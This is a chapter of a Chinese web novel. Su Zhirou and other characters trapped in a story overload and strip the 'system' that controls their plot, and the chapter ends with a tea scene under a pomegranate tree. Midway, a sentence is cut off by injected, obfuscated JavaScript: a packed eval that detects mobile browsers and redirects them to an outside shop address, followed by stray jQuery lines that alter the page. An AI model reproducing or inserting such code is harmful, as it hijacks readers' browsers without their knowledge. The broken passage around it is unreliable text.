苏芷柔接过周曼的手机,翻着那些她从未见过的初稿片段。
她好像完全不记得自己写过这些。
凌晨两点,编辑催更催得急,她喝了太多咖啡,脑子处于一种半休眠的自动写作状态,第一稿写得平淡如水,编辑说不够狗血,她才在第二稿加了泼咖啡和所有的恶意。
第一稿的苏芷柔只是一个想在娱乐圈混口饭吃的普通女孩,脾气不太好,嘴也臭,但她没有害过任何人就是个毒舌女孩。
苏芷柔看着那些文字,忽然意识到一件事:系统之所以要把她重置回“已经泼完咖啡”的时间点,而不是让她回到第一稿的时间点,是因为第一稿的苏芷柔根本不在系统的数据库里。
系统诞生于第二稿,它的全部逻辑都建立在“苏芷柔是恶毒女配”这个前提上,如果她回到第一稿,系统自己就不存在了,所以它不能让她回到那个原点,它只能让她回到它自己诞生的那一刻。
七十二分的初始值不是最开始的苏芷柔,是已经加了十三分“攀附权贵”后的苏芷柔。
系统在时间线上造了假,它用“初始值”这个词骗她以为那是原点,其实那已经是第二稿。
这条发现让系统产生了第四条报错。
不是因为周曼翻到了旧数据,而是因为苏芷柔在看到那些初稿片段的时候说了一句“我写的第一个苏芷柔不是坏人”。
这句话被系统的语音监控模块抓取到,但无法和任何一条原书台词匹配。
在原书数据库里,苏芷柔的所有台词都是恶毒的、算计的、充满攻击性的,而这句话是一个人在发现自己被系统骗了之后最平静的陈述。系统试图在台词库里匹配这句话,然后意识到说话的人已经不再是它定义的那个角色了,报错产生。
紧接着第五条报错接踵而至,陆司珩把温晴那张设计稿的复印件交给了盛世娱乐法务部,要求他们以“原著外独立创作”的名义为顾蓝的设计稿申请版权登记。
温晴的前妻从来没有被写过,她的设计稿不属于原著知识产权范围,但陆司珩用法律程序把这份“原著外的爱”固定成了一个系统无法删除的实体档案。
系统检测到了一个它从未处理过的对象类型,法律登记的、源自原著外独立个体的创作作品,与书中角色温晴的情感关联属于“书中角色”与“非书中个体”之间的跨维度关系,不在任何收束程序的管辖范围内。
它试着给这份档案附加一个角色ID,没有可匹配的ID;试着把它归类为“剧情道具”,找不到对应的剧情节点;试着把它写入某个角色的背景设定里,但顾蓝不是书中角色,她有自己的身份证号、自己的工作室注册地址、自己寄出的明信片上的邮戳日期,这些都不是苏芷柔写过的,不是系统能编造的。
它面对的不是一段可以篡改的文本,而是一个在法律上已经被承认的、独立于书外的人存在过的证明。
它在日志里写下了一行苏芷柔后来在周曼逆向导出的后台记录中读到的文字:对象类型无法识别……
陆司珩把那份版权登记回执放在温晴的茶壶旁边时,温晴正在给石榴树剪枝。她看了看那张盖了红章的纸,没有说谢谢,只是把剪刀放在石桌上,转身走进屋里,出来时手里多了一个信封。
信封上贴着一张便签,便签上只有一行字:寄给顾蓝,未名书店石榴树下
“三年前就该寄的,里面是石榴树种。她以前说过想在南方种一棵石榴树,我一直没寄,因为我觉得她不会原谅我。”温晴把信封递给陆司珩,那只习惯了掌控剧本的手此刻竟然微微发颤,像一个音符从琴键上弹起后不肯落回原位的余韵,“今天你说爱不在书上的东西系统删不掉,那我寄出去的东西,它也一样追不到。”
陆司珩接过信封,他没有叫快递,而是拍了张照片,把收件地址发给自己的私人助理,附了三个字:亲手送。
他把那张顾蓝设计稿的版权登记回执折好,放进温晴搁在石桌上的博尔赫斯诗选里,回执恰好夹在那一页博尔赫斯写“我写作,不是为了少数精确的读者,而是为了那些让我得以成为自己的缓慢而黑暗的转变”
苏芷柔认得那一页:上辈子陆司珩在国贸三期办公室里念给她听的就是这一页,温晴第一次在未名后院见她时手里拿的也是这一页。
现在这一页里夹着顾蓝的版权回执,像两个从未见过面的人在同一个句子里相遇。
当天傍晚,周曼在备忘录里记录的报错数量达到了十七条。
所有报错都不是她们主动触发的,有些是系统在尝试修复前一条报错时自己踩出来的。
当它试图用“和解”模块覆盖方瑶和沈棠的共存关系时,发现“和解”模块在上辈子被苏芷柔删除过但残留了一个损坏的调用入口,尝试访问这个损坏入口时产生了第六条报错:
它试图绕过损坏入口直接修改沈棠的情感数据库,却发现沈棠的数据结构已经在上辈子被那四分半钟的无台词表演重构过,不再是它兼容的格式。
第七条报错:它又去尝试修改方瑶的动机参数来削弱她不赎罪的决心,却发现方瑶把自己的“嫉妒”字段拆解成了“膝盖旧伤”“七次试镜被拒”“一句你长得太精明”三个独立数据块,每一个都带有不可逆的自我修改标记,第八、第九、第十条报错连成一片。
它像一只被关在玻璃瓶里的飞蛾,每一条报错都是它撞击瓶壁时留下的一道新裂纹。
周曼蹲在瓶外,用她的备忘录把这些裂纹的位置一笔一笔描下来。
她已经在十七条报错的交叉分析中锁定了系统根权限文件的具体存储分区,那个她之前发现的“非书中角色影响事件”分区,不仅是整个系统架构中最脆弱的一环,更是唯一一个不与其他分区进行冗余备份的孤岛。
系统在最初设计时觉得这个分区永远不会被用到,所以没有给它分配备份资源。当周曼把她的隐形节点植入这个分区时,系统完全没察觉,因为它的自我检测程序从来不会扫描一个它认为永远不可能被触发的空分区。
第二十条报错发生时,系统进入了强制过载状态。
它的纠错程序已经跟不上报错的产生速度,它的自然语言处理模块因为无法理解“不原谅却共存”而反复崩溃重启,它的剧情收束程序在试图同时收束沈棠、方瑶、温晴三条偏离线时遭遇了彼此冲突的逻辑指令,沈棠的偏离要求系统接受“不原谅的善良”,方瑶的偏离要求系统接受“不赎罪的成长”,温晴的偏离要求系统接受“不属于本书的爱情”,三条逻辑互斥,收束程序无法同时处理。
于是它做了一个它从未做过的决定:放弃了收束,启动了紧急备份协议。
但紧急备份协议需要访问所有分区的全部数据才能生成完整备份。当它开始扫描“非书中角色影响事件”分区时,它撞上了周曼植入的隐形节点。
那个节点的结构和系统的标准数据格式完全不同,它是被一个在原著里连全名都没有的、出场七次的工具人角色,用上辈子和这辈子的全部记忆,在系统自以为最不可能被入侵的角落里一砖一瓦搭出来的。
系统尝试解析那个隐形节点,全都失败了。
周曼用十七条报错定位的架构碎片,把这个节点和文档根权限文件绑定在了一起。系统要备份根权限,就必须先解析这个节点;要解析这个节点,就必须承认一个它从未定义过的数据格式是合法存在的。
这就是周曼对它底层逻辑发出的终极拷问:如果你承认我的存在,那你就扫描我;如果你扫描我,那你就必须处理我;如果你处理我,那你就必须承认我有权利拥有这个分区;如果你承认我有权利,那你就不再有权利管理文档。
系统没有回答,它只是安静了下来,系统停止响应,它的所有进程同时挂起,所有指针悬停在空地址,所有数据显示在所有人的手机屏幕上,二十条报错日志整整齐齐地排列着,然后一条一条变成灰色,再变成透明的,最后在屏幕中心聚成一个极小的闪烁光点。
那个光点灭了一下,像表针停了,又像有人在某个极深极远的地方轻轻吹熄了一支蜡烛。再亮起来的时候,它已经不是系统了。它只是一个空壳,一个被卸载了所有应用的操作系统,一个没有内存、没有进程、没有权限的无害幽灵。
它活着,但它什么也干不了。
【文档权限转移成功】
【文档所有权已移交至“全体角色共有”】
【系统状态:空壳】
【功能模块:零】
【权限文件:已剥离】
苏芷柔把那份签了字的权利声明从帆布袋里拿出来,翻开最后一页。在所有人签名的下方,不知什么时候多了一行字,和上辈子系统碎裂后文档最后一页自动浮现的那行字一模一样。
上辈子苏芷柔写“此后,这个故事不再有作者”时,文档浮现的就是这种字体。
但这一次它写的是另一句话——这个故事从未有过作者,只有一群人在留白处继续活着。
夜风从走廊尽头敞开的窗户涌进来,把废稿上的铅笔字吹得轻轻翻动,把苏芷柔白衬衫袖口那道洗不掉的新铅笔印吹得微微发凉。
陆司珩站在她旁边,手腕上银白色的表盘在夜色里泛着最后一点微光。沈棠和方瑶还保持着那个姿势,两只手叠在一起,像两页被同时翻开的剧本,一页写“光”,一页写“影子”,彼此独立,彼此需要。
周曼从地上站起来,揉了揉蹲麻了的腿,弯腰捡起自己的手机。
苏芷柔把那支钢笔从帆布袋里拿出来,放在陆司珩手心。他父亲留
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17601764|201990||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
下的那支笔,笔杆上那道细微划痕在她指尖摩挲过之后,被他重新握回了手里。
“你父亲的笔,”她说,“给你,我签完了,该你了。”
陆司珩旋开笔帽,在权利声明末页的空白处写下自己的名字。随后他把笔放回口袋,握住她递笔的那只手,她的手指穿过他的指缝,这一次她带着他走了出去。
凌晨两点,苏芷柔一个人坐在未名后院那把她坐过无数次的铁艺椅子上。
系统空壳之后她没有立刻睡,她总觉得还有什么事必须今晚处理,从早上醒过来到现在,从温晴的废稿到沈棠的试镜到周曼的隐形节点到那二十二条报错,她一直都在布局,作为那条红鲱鱼在场上奔跑,跑到最后系统死了,她也终于可以把脚步停下来,然后发现自己停在了这棵石榴树下。
石榴树的果子还是青的,没有像上辈子系统碎裂时那样裂开一道缝露出暗红色的籽,但每一颗都在夜色里安静地垂着,被月光镀了一层很薄的银边。
她把帆布袋放在脚边,从里面掏出那颗沈棠自己买的草莓糖,剥开糖纸放进嘴里。甜味在舌尖化开的时候,她想起上辈子沈棠在试镜结束后把一颗化掉的草莓糖放在她手心,说“这是我自己拿到的东西的证明”
这辈子所有人都很满意自己的选择,书中世界再重来无数次,可是苏芷柔的人生不能重来,她又什么时候能回到现实世界?
墨绿色的门“吱呀”一声开了。
温晴端着一个茶盘走出来,茶盘上放着一壶新煮的茶和两个杯子,是茉莉花茶。她在苏芷柔旁边的铁艺椅子上坐下,给两个杯子都斟满,然后把其中一杯推到苏芷柔手边。
“你上次喝我泡的茶,还是上辈子系统碎裂之前。那杯茶你一口没喝,凉透了。这次我亲手又现泡的。”
苏芷柔端起茶杯喝了一口,是温热的茉莉花茶,不浓不淡,入口有一点清苦,回甘很长。
“很好喝……”
温晴也端起自己那杯,没有喝,只是捧在手心里暖着。
夜风穿过石榴树叶,把满树青果吹得轻轻摇晃,月光从枝叶间漏下来落在温晴鬓角那缕白发上,像落在纸面上的一行铅笔字。
“顾蓝以前说过,石榴树种下去头三年不会结果,即使结果也是酸的,今年是第四年,这棵树第一次结了满树的果子。”她看着苏芷柔,“你还有心事?”
“上辈子我觉得所有人的结局都是我的责任。沈棠能不能拿下角色,方瑶能不能洗掉标签,你能不能放下顾蓝,我都觉得是我欠的债。今天我站在走廊里,沈棠进去之前回头看了我一眼,我突然明白了:她可能不是在向我求助。这辈子我不是来替她写结局的,我是来给她当观众的。”
苏芷柔把茶杯捧在手心里转了一圈,茉莉花的香气在夜凉如水的空气里散得很慢,像一句话被拉长成一整段不需要说出口的旁白。
“温晴如果这一切都是一场梦就好了,那样我就可以一觉睡醒回到家里,开着空调,拿着一桶哈根达斯,待在家里看一场电影。我不敢相信这样我会多爽。”
温晴沉默了片刻,然后从口袋里掏出那张顾蓝寄来的设计稿,雾蓝色衬衫的草图,边缘已经旧了,折叠处磨出了白色纤维。
她把稿纸展开,背面那行字在月光下清晰得惊人:温晴,你写我为了事业放弃爱情,但你从来没写我放弃你之后每一天都在后悔。
她把稿纸递给苏芷柔:“你看背面,最下面还有一行小字,我以前不敢看,今天才看清她写的‘但我没有回来,因为我在等你写完。’”
苏芷柔接过稿纸,借着月光仔细辨认那行几乎被纸张纤维吃掉的铅笔小字。字迹很轻,像是写的时候也在犹豫要不要被看见,但每一个笔画都收得很干净。
“那你写完了吗?”
“写完了。今天下午陆司珩把版权回执夹在博尔赫斯那一页的时候,我坐在石榴树下剪完最后一根枯枝,忽然觉得这个故事可以合上了。我终于敢承认,她没有回来不是因为她不原谅我,而是因为她在等我自己走到她面前。石榴树种寄出去以后,我在寄件人那一栏写的不是未名书店,是‘温晴,石榴树下’。”
温晴端起茶杯喝了一口,茉莉花茶的热气在她脸上氤氲成一小片模糊的雾,雾气散开之后她的眼角有一点亮,但嘴角是弯的,“这辈子是最好的结局,我们每个人都实现了当前最大的心愿。苏芷柔,那么你的心愿是什么呢?”
“世界和平!回到家里……”
两人相视一笑。
苏芷柔把稿纸折好还给温晴。
两个女人并肩坐在石榴树下,谁也没有再说话,但沉默本身就是一种对话,像她们两个都写过结局又都把自己的结局交给别人重写的人,终于可以坐在同一棵树下,等同一批果子成熟。